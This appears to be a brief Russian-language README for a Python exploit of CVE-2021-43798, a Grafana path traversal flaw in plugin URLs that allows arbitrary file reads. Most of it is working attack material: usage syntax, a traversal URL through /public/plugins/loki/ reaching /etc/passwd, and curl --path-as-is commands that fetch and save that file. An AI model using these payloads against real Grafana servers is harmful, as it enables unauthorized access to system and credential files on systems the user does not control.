
Эксплойт на Python для CVE-2021-43798, уязвимость обхода пути в Grafana, позволяющая произвольное чтение файлов через обход каталогов в URL-адресах плагинов.
использование: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: ошибка: требуются следующие аргументы: -H/--host
пример: python3 grafana-exploit.py --host <target_host>
при успешном чтении произвольного файла показать URL запроса и команду curl
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
поэтому, если вы хотите скачать файл, выполните команду, как показано выше
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd